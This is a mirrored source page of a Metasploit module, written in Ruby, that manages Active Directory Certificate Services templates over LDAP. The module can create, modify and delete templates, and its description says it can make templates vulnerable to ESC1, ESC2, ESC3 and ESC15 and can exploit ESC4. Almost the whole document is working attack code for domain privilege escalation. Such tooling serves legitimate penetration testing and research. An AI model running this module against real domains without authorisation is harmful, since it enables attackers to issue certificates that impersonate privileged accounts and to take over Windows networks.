CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::LDAP
9
include Msf::OptionalSession::LDAP
10
include Msf::Auxiliary::Report
11
12
IGNORED_ATTRIBUTES = [
13
'dn',
14
'distinguishedName',
15
'objectClass',
16
'cn',
17
'whenCreated',
18
'whenChanged',
19
'name',
20
'objectGUID',
21
'objectCategory',
22
'dSCorePropagationData',
23
'msPKI-Cert-Template-OID',
24
'uSNCreated',
25
'uSNChanged',
26
'displayName',
27
'instanceType',
28
'revision',
29
'msPKI-Template-Schema-Version',
30
'msPKI-Template-Minor-Revision',
31
].freeze
32
33
# LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID
34
LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze
35
OWNER_SECURITY_INFORMATION = 0x1
36
GROUP_SECURITY_INFORMATION = 0x2
37
DACL_SECURITY_INFORMATION = 0x4
38
SACL_SECURITY_INFORMATION = 0x8
39
40
def initialize(info = {})
41
super(
42
update_info(
43
info,
44
'Name' => 'AD CS Certificate Template Management',
45
'Description' => %q{
46
This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain
47
Controller.
48
49
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
50
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
51
file to be specified to define the attributes. Template data files are provided to create a template that is
52
vulnerable to ESC1, ESC2, ESC3 and ESC15.
53
54
This module is capable of exploiting ESC4.
55
},
56
'Author' => [
57
'Will Schroeder', # original idea/research
58
'Lee Christensen', # original idea/research
59
'Oliver Lyak', # certipy implementation
60
'Spencer McIntyre'
61
],
62
'References' => [
63
[ 'URL', 'https://github.com/GhostPack/Certify' ],
64
[ 'URL', 'https://github.com/ly4k/Certipy' ]
65
],
66
'License' => MSF_LICENSE,
67
'Actions' => [
68
['CREATE', { 'Description' => 'Create the certificate template' }],
69
['READ', { 'Description' => 'Read the certificate template' }],
70
['UPDATE', { 'Description' => 'Modify the certificate template' }],
71
['DELETE', { 'Description' => 'Delete the certificate template' }]
72
],
73
'DefaultAction' => 'READ',
74
'Notes' => {
75
'Stability' => [],
76
'SideEffects' => [CONFIG_CHANGES],
77
'Reliability' => [],
78
'AKA' => [ 'Certifry', 'Certipy' ]
79
}
80
)
81
)
82
83
register_options([
84
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
85
OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]),
86
OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ])
87
])
88
end
89
90
def ldap_get(filter, attributes: [], base: nil, controls: [])
91
base ||= @base_dn
92
raw_obj = @ldap.search(base: base, filter: filter, attributes: attributes, controls: controls).first
93
validate_query_result!(@ldap.get_operation_result.table)
94
return nil unless raw_obj
95
96
obj = {}
97
raw_obj.attribute_names.each do |attr|
98
obj[attr.to_s] = raw_obj[attr].map(&:to_s)
99
end
100
101
obj
102
end
103
104
def run
105
ldap_connect do |ldap|
106
validate_bind_success!(ldap)
107
108
if (@base_dn = datastore['BASE_DN'])
109
print_status("User-specified base DN: #{@base_dn}")
110
else
111
print_status('Discovering base DN automatically')
112
113
unless (@base_dn = ldap.base_dn)
114
fail_with(Failure::NotFound, "Couldn't discover base DN!")
115
end
116
end
117
@ldap = ldap
118
119
send("action_#{action.name.downcase}")
120
print_good('The operation completed successfully!')
121
end
122
rescue Errno::ECONNRESET
123
fail_with(Failure::Disconnected, 'The connection was reset.')
124
rescue Rex::ConnectionError => e
125
fail_with(Failure::Unreachable, e.message)
126
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
127
fail_with(Failure::NoAccess, e.message)
128
rescue Net::LDAP::Error => e
129
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
130
end
131
132
def get_certificate_template
133
obj = ldap_get(
134
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",
135
base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
136
controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]
137
)
138
fail_with(Failure::NotFound, 'The specified template was not found.') unless obj
139
140
print_good("Read certificate template data for: #{obj['dn'].first}")
141
stored = store_loot(
142
'windows.ad.cs.template',
143
'application/json',
144
rhost,
145
dump_to_json(obj),
146
"#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json",
147
"#{datastore['CERT_TEMPLATE']} Certificate Template"
148
)
149
print_status("Certificate template data written to: #{stored}")
150
obj
151
end
152
153
def get_domain_sid
154
return @domain_sid if @domain_sid.present?
155
156
obj = ldap_get('(objectClass=domain)', attributes: %w[name objectSID])
157
fail_with(Failure::NotFound, 'The domain SID was not found!') unless obj&.fetch('objectsid', nil)
158
159
Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first)
160
end
161
162
def get_pki_oids
163
return @pki_oids if @pki_oids.present?
164
165
raw_objs = @ldap.search(
166
base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
167
filter: '(objectClass=msPKI-Enterprise-OID)'
168
)
169
validate_query_result!(@ldap.get_operation_result.table)
170
return nil unless raw_objs
171
172
@pki_oids = []
173
raw_objs.each do |raw_obj|
174
obj = {}
175
raw_obj.attribute_names.each do |attr|
176
obj[attr.to_s] = raw_obj[attr].map(&:to_s)
177
end
178
179
@pki_oids << obj
180
end
181
@pki_oids
182
end
183
184
def get_pki_oid_displayname(oid)
185
oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
186
return nil unless oid_obj && oid_obj['displayname'].present?
187
188
oid_obj['displayname'].first
189
end
190
191
def dump_to_json(template)
192
json = {}
193
194
template.each do |attribute, values|
195
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
196
197
json[attribute] = values.map do |value|
198
value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
199
end
200
end
201
202
json.to_json
203
end
204
205
def load_from_json(json)
206
template = {}
207
208
JSON.parse(json).each do |attribute, values|
209
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
210
211
template[attribute] = values.map do |value|
212
value.scan(/../).map { |x| x.hex.chr }.join
213
end
214
end
215
216
template
217
end
218
219
def load_from_yaml(yaml)
220
template = {}
221
222
YAML.safe_load(yaml).each do |attribute, value|
223
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
224
225
if attribute.casecmp?('nTSecurityDescriptor')
226
unless value.is_a?(String)
227
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')
228
end
229
230
# if the string only contains printable characters, treat it as SDDL
231
if value !~ /[^[:print:]]/
232
begin
233
vprint_status("Parsing SDDL text: #{value}")
234
descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: get_domain_sid)
235
rescue RuntimeError => e
236
fail_with(Failure::BadConfig, e.message)
237
end
238
239
value = descriptor.to_binary_s
240
elsif !value.start_with?("\x01".b)
241
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')
242
end
243
end
244
245
value = [ value ] unless value.is_a?(Array)
246
template[attribute] = value.map(&:to_s)
247
end
248
249
template
250
end
251
252
def load_local_template
253
if datastore['TEMPLATE_FILE'].blank?
254
fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.')
255
end
256
257
unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE'])
258
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.')
259
end
260
261
file_data = File.read(datastore['TEMPLATE_FILE'])
262
if datastore['TEMPLATE_FILE'].downcase.end_with?('.json')
263
load_from_json(file_data)
264
elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml')
265
load_from_yaml(file_data)
266
else
267
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.')
268
end
269
end
270
271
def ms_security_descriptor_control(flags)
272
control_values = [flags].map(&:to_ber).to_ber_sequence.to_s.to_ber
273
[LDAP_SERVER_SD_FLAGS_OID.to_ber, control_values].to_ber_sequence
274
end
275
276
def action_create
277
dn = "CN=#{datastore['CERT_TEMPLATE']},"
278
dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,'
279
dn << @base_dn
280
281
# defaults to create one from the builtin SubCA template
282
# the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted
283
attributes = {
284
'objectclass' => ['top', 'pKICertificateTemplate'],
285
'cn' => datastore['CERT_TEMPLATE'],
286
'instancetype' => '4',
287
'displayname' => datastore['CERT_TEMPLATE'],
288
'usncreated' => '16437',
289
'usnchanged' => '16437',
290
'showinadvancedviewonly' => 'TRUE',
291
'name' => datastore['CERT_TEMPLATE'],
292
'flags' => '66257',
293
'revision' => '5',
294
'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}",
295
'pkidefaultkeyspec' => '2',
296
'pkikeyusage' => "\x86\x00".b,
297
'pkimaxissuingdepth' => '-1',
298
'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'],
299
'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b,
300
'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b,
301
'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0',
302
'dscorepropagationdata' => '16010101000000.0Z',
303
'mspki-ra-signature' => '0',
304
'mspki-enrollment-flag' => '0',
305
'mspki-private-key-flag' => '16',
306
'mspki-certificate-name-flag' => '1',
307
'mspki-minimal-key-size' => '2048',
308
'mspki-template-schema-version' => '1',
309
'mspki-template-minor-revision' => '1',
310
'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18'
311
}
312
313
unless datastore['TEMPLATE_FILE'].blank?
314
load_local_template.each do |key, value|
315
key = key.downcase
316
next if %w[dn distinguishedname objectguid].include?(key)
317
318
attributes[key.downcase] = value
319
end
320
end
321
322
# can not contain dn, distinguishedname, or objectguid
323
print_status("Creating: #{dn}")
324
@ldap.add(dn: dn, attributes: attributes)
325
validate_query_result!(@ldap.get_operation_result.table)
326
end
327
328
def action_delete
329
obj = get_certificate_template
330
331
@ldap.delete(dn: obj['dn'].first)
332
validate_query_result!(@ldap.get_operation_result.table)
333
end
334
335
def action_read
336
obj = get_certificate_template
337
338
print_status('Certificate Template:')
339
print_status(" distinguishedName: #{obj['distinguishedname'].first}")
340
print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].present?
341
if obj['objectguid'].first.present?
342
object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)
343
print_status(" objectGUID: #{object_guid}")
344
end
345
346
pki_flag = obj['mspki-certificate-name-flag']&.first
347
if pki_flag.present?
348
pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
349
print_status(" msPKI-Certificate-Name-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
350
%w[
351
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
352
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME
353
CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
354
CT_FLAG_SUBJECT_ALT_REQUIRE_SPN
355
CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID
356
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
357
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
358
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
359
CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
360
CT_FLAG_SUBJECT_REQUIRE_EMAIL
361
CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
362
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
363
CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME
364
].each do |flag_name|
365
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
366
print_status(" * #{flag_name}")
367
end
368
end
369
end
370
371
pki_flag = obj['mspki-enrollment-flag']&.first
372
if pki_flag.present?
373
pki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')
374
print_status(" msPKI-Enrollment-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
375
%w[
376
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS
377
CT_FLAG_PEND_ALL_REQUESTS
378
CT_FLAG_PUBLISH_TO_KRA_CONTAINER
379
CT_FLAG_PUBLISH_TO_DS
380
CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE
381
CT_FLAG_AUTO_ENROLLMENT
382
CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT
383
CT_FLAG_USER_INTERACTION_REQUIRED
384
CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE
385
CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF
386
CT_FLAG_ADD_OCSP_NOCHECK
387
CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL
388
CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS
389
CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS
390
CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT
391
CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST
392
CT_FLAG_SKIP_AUTO_RENEWAL
393
].each do |flag_name|
394
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
395
print_status(" * #{flag_name}")
396
end
397
end
398
end
399
400
pki_flag = obj['mspki-private-key-flag']&.first
401
if pki_flag.present?
402
pki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')
403
print_status(" msPKI-Private-Key-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
404
%w[
405
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL
406
CT_FLAG_EXPORTABLE_KEY
407
CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED
408
CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM
409
CT_FLAG_REQUIRE_SAME_KEY_RENEWAL
410
CT_FLAG_USE_LEGACY_PROVIDER
411
CT_FLAG_ATTEST_NONE
412
CT_FLAG_ATTEST_REQUIRED
413
CT_FLAG_ATTEST_PREFERRED
414
CT_FLAG_ATTESTATION_WITHOUT_POLICY
415
CT_FLAG_EK_TRUST_ON_USE
416
CT_FLAG_EK_VALIDATE_CERT
417
CT_FLAG_EK_VALIDATE_KEY
418
CT_FLAG_HELLO_LOGON_KEY
419
].each do |flag_name|
420
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
421
print_status(" * #{flag_name}")
422
end
423
end
424
end
425
426
pki_flag = obj['mspki-ra-signature']&.first
427
if pki_flag.present?
428
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
429
print_status(" msPKI-RA-Signature: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
430
end
431
432
pki_flag = obj['mkpki-template-schema-version']&.first
433
if pki_flag.present?
434
print_status(" msPKI-Template-Schema-Version: #{pki_flag}")
435
end
436
437
if obj['mspki-certificate-policy'].present?
438
if obj['mspki-certificate-policy'].length == 1
439
if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?
440
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")
441
else
442
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")
443
end
444
else
445
print_status(' msPKI-Certificate-Policy:')
446
obj['mspki-certificate-policy'].each do |value|
447
if (oid_name = get_pki_oid_displayname(value)).present?
448
print_status(" * #{value} (#{oid_name})")
449
else
450
print_status(" * #{value}")
451
end
452
end
453
end
454
end
455
456
if obj['mspki-template-schema-version'].present?
457
print_status(" msPKI-Template-Schema-Version: #{obj['mspki-template-schema-version'].first.to_i}")
458
end
459
460
pki_flag = obj['pkikeyusage']&.first
461
if pki_flag.present?
462
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
463
print_status(" pKIKeyUsage: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
464
end
465
466
if obj['pkiextendedkeyusage'].present?
467
print_status(' pKIExtendedKeyUsage:')
468
obj['pkiextendedkeyusage'].each do |value|
469
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
470
print_status(" * #{value} (#{oid.label})")
471
else
472
print_status(" * #{value}")
473
end
474
end
475
end
476
477
if obj['pkimaxissuingdepth'].present?
478
print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")
479
end
480
end
481
482
def action_update
483
obj = get_certificate_template
484
new_configuration = load_local_template
485
486
operations = []
487
obj.each do |attribute, value|
488
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
489
490
if new_configuration.keys.any? { |word| word.casecmp?(attribute) }
491
new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last
492
unless value.tally == new_value.tally
493
operations << [:replace, attribute, new_value]
494
end
495
else
496
operations << [:delete, attribute, nil]
497
end
498
end
499
500
new_configuration.each_key do |attribute|
501
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
502
next if obj.keys.any? { |i| i.casecmp?(attribute) }
503
504
operations << [:add, attribute, new_configuration[attribute]]
505
end
506
507
if operations.empty?
508
print_good('There are no changes to be made.')
509
return
510
end
511
512
@ldap.modify(dn: obj['dn'].first, operations: operations, controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)])
513
validate_query_result!(@ldap.get_operation_result.table)
514
end
515
end
516
517